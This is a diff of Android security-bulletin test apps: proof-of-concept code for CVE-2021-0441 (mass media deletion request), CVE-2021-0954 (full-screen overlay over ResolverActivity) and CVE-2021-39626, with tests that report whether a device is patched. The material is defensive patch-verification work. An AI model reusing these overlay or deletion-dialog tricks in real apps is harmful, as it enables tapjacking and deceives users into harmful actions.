+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml
new file mode 100644
index 0000000..3496d8a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+    <integer name="pictures">200</integer>
+    <integer name="request_code">1</integer>
+    <integer name="wait_time_ms">10000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml
new file mode 100644
index 0000000..9d8dd1b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <string name="app_name">
+        CVE-2021-0441
+    </string>
+    <string name="ui_id_alert">
+        android:id/alertTitle
+    </string>
+    <string name="ui_id_message">
+        android:id/message
+    </string>
+    <string name="path">
+        content://media/external_primary/images/media/
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java
new file mode 100644
index 0000000..1d9c47b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0441;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+
+import androidx.annotation.IntegerRes;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+import java.util.regex.Pattern;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    Context mAppContext;
+
+    int getInteger(@IntegerRes int resId) {
+        return mAppContext.getResources().getInteger(resId);
+    }
+
+    String getString(@IntegerRes int resId) {
+        return mAppContext.getResources().getString(resId);
+    }
+
+    @Test
+    public void testCVE_2021_0441() {
+        try {
+            UiDevice device = UiDevice.getInstance(getInstrumentation());
+            mAppContext = getApplicationContext();
+            PackageManager packageManager = mAppContext.getPackageManager();
+            String packageName = mAppContext.getPackageName();
+            final Intent intent = packageManager.getLaunchIntentForPackage(packageName);
+            intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+            mAppContext.startActivity(intent);
+
+            // Selecting all visible objects with res-id: android:id/alertTitle
+            Pattern patternAlert = Pattern.compile(getString(R.string.ui_id_alert));
+            BySelector selectorAlert = By.res(patternAlert);
+
+            // Selecting all visible objects with res-id: android:id/message
+            Pattern patternMessage = Pattern.compile(getString(R.string.ui_id_message));
+            BySelector selectorMessage = By.res(patternMessage);
+
+            boolean isAlertTitleVisible =
+                    device.wait(Until.hasObject(selectorAlert), getInteger(R.integer.wait_time_ms));
+            boolean isMessageVisible = device.wait(Until.hasObject(selectorMessage),
+                    getInteger(R.integer.wait_time_ms));
+            assumeTrue(isAlertTitleVisible || isMessageVisible);
+
+            List<UiObject2> objectsAlertTitle = device.findObjects(selectorAlert);
+            List<UiObject2> objectsMessage = device.findObjects(selectorMessage);
+            assumeFalse(objectsAlertTitle.isEmpty() && objectsMessage.isEmpty());
+
+            if (!objectsAlertTitle.isEmpty() && objectsMessage.isEmpty()) {
+                for (UiObject2 obj : objectsAlertTitle) {
+                    String text = obj.getText();
+                    if (text == null) {
+                        continue;
+                    }
+                    if (text.contains(getString(R.string.app_name))
+                            && text.contains(Integer.toString(getInteger(R.integer.pictures)))) {
+                        fail("Vulnerable to b/174495520 !!");
+                    }
+                }
+            }
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java
new file mode 100644
index 0000000..7c8b8fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0441;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.IntentSender;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.MediaStore;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        requestDeletePermission(getUriList(getResources().getInteger(R.integer.pictures)));
+    }
+
+    ArrayList<Uri> getUriList(int capacity) {
+        ArrayList<Uri> list = new ArrayList<Uri>();
+        for (int i = 0; i < capacity; ++i) {
+            Uri uri = Uri.parse(getString(R.string.path) + i);
+            list.add(uri);
+        }
+        return list;
+    }
+
+    private void requestDeletePermission(List<Uri> uriList) {
+        PendingIntent pi = MediaStore.createDeleteRequest(getContentResolver(), uriList);
+        try {
+            startIntentSenderForResult(pi.getIntentSender(),
+                    getResources().getInteger(R.integer.request_code), null, 0, 0, 0);
+        } catch (IntentSender.SendIntentException e) {
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp
index aa9f71f..59350cf 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -18,10 +18,10 @@
 android_test_helper_app {
     name: "CVE-2021-0954",
     defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java"
+    ],
     test_suites: [
-        "cts",
-        "vts10",
         "sts",
     ],
     static_libs: [
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml
index a7e0218..75299c4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml
@@ -1,5 +1,5 @@
 <!--
-  Copyright 2021 The Android Open Source Project
+  Copyright 2022 The Android Open Source Project
 
   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
@@ -13,25 +13,19 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     xmlns:tools="http://schemas.android.com/tools"
-    package="android.security.cts.cve_2021_0954"
+    package="android.security.cts.CVE_2021_0954"
     android:versionCode="1"
     android:versionName="1.0">
-
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-
-    <application
-        android:allowBackup="true"
-        android:label="CVE_2021_0954"
-        android:supportsRtl="true">
-        <uses-library android:name="android.test.runner" />
+    <application>
         <service android:name=".PocService"
             android:enabled="true"
-            android:exported="false" />
+            android:exported="true" />
     </application>
-
    <instrumentation
         android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.security.cts.cve_2021_0954" />
+        android:targetPackage="android.security.cts.CVE_2021_0954" />
 </manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml
new file mode 100644
index 0000000..363df00
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="assumptionFailure">-1</integer>
+    <integer name="noAssumptionFailure">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml
new file mode 100644
index 0000000..7c4d959
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+    <string name="cmdDumpsysActivity">dumpsys activity %1$s</string>
+    <string name="empty"></string>
+    <string name="overlayErrorMessage">Device is vulnerable to b/143559931 hence any app with
+    "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="messageKey">message</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="resultKey">result</string>
+    <string name="sharedPreferences">CVE_2021_0954_prefs</string>
+    <string name="timedOutPocActivity">Timed out waiting on a result from PocActivity</string>
+    <string name="vulClass">com.android.internal.app.ResolverActivity</string>
+    <string name="vulClassAuto">com.android.car.activityresolver.CarResolverActivity</string>
+    <string name="vulPkg">android</string>
+    <string name="vulPkgAuto">com.android.car.activityresolver</string>
+    <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java
index f986906..9a94ef9 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,17 +14,20 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0954;
+package android.security.cts.CVE_2021_0954;
 
 import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assume.assumeNoException;
 
-import android.content.ActivityNotFoundException;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
 import android.content.Context;
 import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.pm.PackageManager;
 import android.provider.Settings;
 
 import androidx.test.runner.AndroidJUnit4;
@@ -32,90 +35,107 @@
 import androidx.test.uiautomator.UiDevice;
 import androidx.test.uiautomator.Until;
 
-import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.IOException;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
 import java.util.regex.Pattern;
 
 @RunWith(AndroidJUnit4.class)
 public class DeviceTest {
-    private static final String TEST_PKG = "android.security.cts.cve_2021_0954";
-    private static final String TEST_VULNERABLE_PKG = "android";
-    private static final String TEST_VULNERABLE_ACTIVITY =
-            "com.android.internal.app.ResolverActivity";
-    private static final int LAUNCH_TIMEOUT_MS = 20000;
-    private static final String vulnerableActivityName = "ResolverActivity";
-    private UiDevice mDevice;
-    String activityDump = "";
+    private Context mContext = getApplicationContext();
+    private static final int TIMEOUT_MS = 10000;
 
-    private void startOverlayService() {
-        Context context = getApplicationContext();
-        assertNotNull(context);
-        Intent intent = new Intent(context, PocService.class);
-        assertNotNull(intent);
-
-        if (Settings.canDrawOverlays(getApplicationContext())) {
-            context.startService(intent);
-        } else {
-            try {
-                context.startService(intent);
-            } catch (Exception e) {
-                throw new RuntimeException("Unable to start the overlay service", e);
-            }
-        }
+    private boolean hasFeature(String feature) {
+        return mContext.getPackageManager().hasSystemFeature(feature);
     }
 
-    public void startVulnerableActivity() {
-        Context context = getApplicationContext();
-        Intent intent = new Intent();
-        intent.setClassName(TEST_VULNERABLE_PKG, TEST_VULNERABLE_ACTIVITY);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        try {
-            context.startActivity(intent);
-        } catch (ActivityNotFoundException e) {
-            assumeNoException("Activity not found on device", e);
-        }
+    private boolean isAuto() {
+        return hasFeature(PackageManager.FEATURE_AUTOMOTIVE);
     }
 
-    @Before
-    public void setUp() throws Exception {
-        mDevice = UiDevice.getInstance(getInstrumentation());
+    String getStringRes(int key) {
+        return mContext.getResources().getString(key);
+    }
 
-        /* Start the vulnerable activity */
-        startVulnerableActivity();
-        if (!mDevice.wait(Until.hasObject(By.res("android:id/contentPanel")
-                .clazz("android.widget.ScrollView").pkg("android")), LAUNCH_TIMEOUT_MS)) {
-            return;
-        }
+    String getStringResWithArg(int key, String arg) {
+        return mContext.getResources().getString(key, arg);
+    }
 
-        /* Start the overlay service */
-        startOverlayService();
+    int getIntegerRes(int key) {
+        return mContext.getResources().getInteger(key);
     }
 
     @Test
-    public void testVulnerableActivityPresence() {
-        Pattern overlayTextPattern = Pattern.compile("OverlayButton", Pattern.CASE_INSENSITIVE);
-        if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) {
-            return;
-        }
-
-        /*
-         * Check if the currently running activity is the vulnerable activity, if not abort the test
-         */
+    public void testOverlayButtonPresence() {
         try {
-            activityDump = mDevice.executeShellCommand("dumpsys activity");
-        } catch (IOException e) {
-            throw new RuntimeException("Could not execute dumpsys activity command");
+            UiDevice device = UiDevice.getInstance(getInstrumentation());
+
+            /* Start the overlay service */
+            assumeTrue(getStringRes(R.string.canNotDrawOverlaysMsg),
+                    Settings.canDrawOverlays(mContext));
+            Intent intent = new Intent(mContext, PocService.class);
+            mContext.startService(intent);
+
+            /* Wait for a result from overlay service */
+            SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+                    getStringRes(R.string.sharedPreferences), Context.MODE_PRIVATE);
+            final Semaphore preferenceChanged = new Semaphore(0);
+            OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+                @Override
+                public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+                        String key) {
+                    if (key.equals(getStringRes(R.string.resultKey))) {
+                        preferenceChanged.release();
+                    }
+                }
+            };
+            sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
+            assumeTrue(preferenceChanged.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            int result = sharedPrefs.getInt(getStringRes(R.string.resultKey),
+                    getIntegerRes(R.integer.assumptionFailure));
+            String message = sharedPrefs.getString(getStringRes(R.string.messageKey),
+                    getStringRes(R.string.defaultSemaphoreMsg));
+            assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure));
+
+            /* Wait for the UI of overlay window to appear */
+            Pattern overlayTextPattern = Pattern.compile(
+                    mContext.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE);
+            assumeTrue(mContext.getString(R.string.overlayUiScreenError),
+                    device.wait(Until.hasObject(By.text(overlayTextPattern)), TIMEOUT_MS));
+
+            /* Start the vulnerable activity */
+            intent = new Intent();
+            String vulActivity = getStringRes(R.string.vulClass);
+            String vulPkg = getStringRes(R.string.vulPkg);
+            if (isAuto()) {
+                vulActivity = getStringRes(R.string.vulClassAuto);
+                vulPkg = getStringRes(R.string.vulPkgAuto);
+            }
+            intent.setClassName(vulPkg, vulActivity);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent);
+
+            /* Wait until the object of overlay window is gone */
+            boolean overlayDisallowed =
+                    device.wait(Until.gone(By.pkg(mContext.getPackageName())), TIMEOUT_MS);
+
+            /*
+             * Check if the currently running activity is the vulnerable activity, if not abort the
+             * test
+             */
+            String activityDump = device.executeShellCommand(
+                    getStringResWithArg(R.string.cmdDumpsysActivity, vulActivity));
+            Pattern activityPattern = Pattern.compile(getStringRes(R.string.mResumedTrue));
+            assumeTrue(getStringRes(R.string.vulActivityNotRunningError),
+                    activityPattern.matcher(activityDump).find());
+
+            /* Failing the test as fix is not present */
+            assertTrue(getStringResWithArg(R.string.overlayErrorMessage, vulActivity),
+                    overlayDisallowed);
+        } catch (Exception e) {
+            assumeNoException(e);
         }
-        Pattern activityPattern =
-                Pattern.compile("mResumedActivity.*" + vulnerableActivityName + ".*\n");
-        if (!activityPattern.matcher(activityDump).find()) {
-            return;
-        }
-        String message = "Device is vulnerable to b/143559931 hence any app with "
-                + "SYSTEM_ALERT_WINDOW can overlay the ResolverActivity screen";
-        assertNull(message, mDevice.findObject(By.text(overlayTextPattern)));
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java
index 82b78a2..79270ba 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,47 +14,65 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0954;
+package android.security.cts.CVE_2021_0954;
 
 import android.app.Service;
+import android.content.Context;
 import android.content.Intent;
+import android.content.SharedPreferences;
 import android.content.res.Resources;
 import android.graphics.PixelFormat;
-import android.os.Handler;
 import android.os.IBinder;
-import android.provider.Settings;
 import android.view.Gravity;
 import android.view.WindowManager;
 import android.view.WindowManager.LayoutParams;
 import android.widget.Button;
 
 public class PocService extends Service {
-    public static Button mButton;
-    private WindowManager mWindowManager;
-    private WindowManager.LayoutParams mLayoutParams;
+    Button mButton;
+    WindowManager mWindowManager;
 
-    private static int getScreenWidth() {
+    private int getScreenWidth() {
         return Resources.getSystem().getDisplayMetrics().widthPixels;
     }
 
-    private static int getScreenHeight() {
+    private int getScreenHeight() {
         return Resources.getSystem().getDisplayMetrics().heightPixels;
     }
 
+    String getStringRes(int key) {
+        return getResources().getString(key);
+    }
+
+    int getIntegerRes(int key) {
+        return getResources().getInteger(key);
+    }
+
     @Override
     public void onCreate() {
-        super.onCreate();
-        mWindowManager = getSystemService(WindowManager.class);
-        mLayoutParams = new WindowManager.LayoutParams();
-        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
-                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
-        mLayoutParams.format = PixelFormat.OPAQUE;
-        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
-        mLayoutParams.width = getScreenWidth();
-        mLayoutParams.height = getScreenHeight();
-        mLayoutParams.x = getScreenWidth() / 2;
-        mLayoutParams.y = getScreenHeight() / 2;
+        try {
+            super.onCreate();
+            mWindowManager = getSystemService(WindowManager.class);
+            LayoutParams layoutParams = new LayoutParams();
+            layoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+            layoutParams.flags =
+                    LayoutParams.FLAG_NOT_TOUCH_MODAL | LayoutParams.FLAG_NOT_FOCUSABLE;
+            layoutParams.format = PixelFormat.OPAQUE;
+            layoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+            layoutParams.width = getScreenWidth();
+            layoutParams.height = getScreenHeight();
+            layoutParams.x = getScreenWidth() / 2;
+            layoutParams.y = getScreenHeight() / 2;
+
+            /* Show the floating window */
+            mButton = new Button(this);
+            mButton.setText(getString(R.string.overlayButtonText));
+            mWindowManager.addView(mButton, layoutParams);
+        } catch (Exception e) {
+            sendTestResult(getIntegerRes(R.integer.assumptionFailure), e.getMessage());
+            return;
+        }
+        sendTestResult(getIntegerRes(R.integer.noAssumptionFailure), getStringRes(R.string.empty));
     }
 
     @Override
@@ -63,31 +81,27 @@
     }
 
     @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        showFloatingWindow();
-        return super.onStartCommand(intent, flags, startId);
-    }
-
-    @Override
     public void onDestroy() {
-        if (mWindowManager != null && mButton != null) {
-            mWindowManager.removeView(mButton);
+        try {
+            if (mWindowManager != null && mButton != null) {
+                mWindowManager.removeView(mButton);
+            }
+            super.onDestroy();
+        } catch (Exception e) {
+            sendTestResult(getIntegerRes(R.integer.assumptionFailure), e.getMessage());
         }
-        super.onDestroy();
     }
 
-    private void showFloatingWindow() {
-        if (Settings.canDrawOverlays(this)) {
-            mButton = new Button(getApplicationContext());
-            mButton.setText("OverlayButton");
-            mWindowManager.addView(mButton, mLayoutParams);
-            new Handler().postDelayed(new Runnable() {
-                @Override
-                public void run() {
-                    onDestroy();
-                }
-            }, 60000); // one minute
-            mButton.setTag(mButton.getVisibility());
+    private void sendTestResult(int result, String message) {
+        try {
+            SharedPreferences sh = getSharedPreferences(getStringRes(R.string.sharedPreferences),
+                    Context.MODE_PRIVATE);
+            SharedPreferences.Editor edit = sh.edit();
+            edit.putInt(getStringRes(R.string.resultKey), result);
+            edit.putString(getStringRes(R.string.messageKey), message);
+            edit.commit();
+        } catch (Exception e) {
+            // ignore the exception
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
index d3e2302..2f87b9c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
@@ -30,10 +30,10 @@
     test_suites: [
         "sts",
     ],
-    sdk_version: "current",
     static_libs: [
         "androidx.test.core",
         "androidx.test.rules",
         "androidx.test.uiautomator_uiautomator",
     ],
+    platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
index f097825..74e263c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
@@ -22,12 +22,8 @@
     <uses-permission android:name="android.permission.BLUETOOTH"/>
     <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
     <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
-    <application
-        android:testOnly="true"
-        android:label="CVE-2021-39626"
-        android:supportsRtl="true">
-        <activity
-            android:name=".PocActivity"
+    <application>
+        <activity android:name=".PocActivity"
             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -35,7 +31,6 @@
             </intent-filter>
         </activity>
     </application>
-
     <instrumentation
         android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.security.cts.CVE_2021_39626" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml
new file mode 100644
index 0000000..d5ae744
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="assumptionFailure">-1</integer>
+    <integer name="pass">0</integer>
+    <integer name="enabled">1</integer>
+    <integer name="disabled">2</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml
new file mode 100644
index 0000000..e6f53e7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="allowButtonResName">android:id/button1</string>
+    <string name="btAction">btAction</string>
+    <string name="className">.Settings$ConnectedDeviceDashboardActivity</string>
+    <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+    <string name="defaultSettingsPkg">com.android.settings</string>
+    <string name="failMessage">Vulnerable to b/194695497 !!</string>
+    <string name="messageKey">message</string>
+    <string name="resultKey">result</string>
+    <string name="sharedPreferences">CVE_2021_39626_prefs</string>
+</resources>
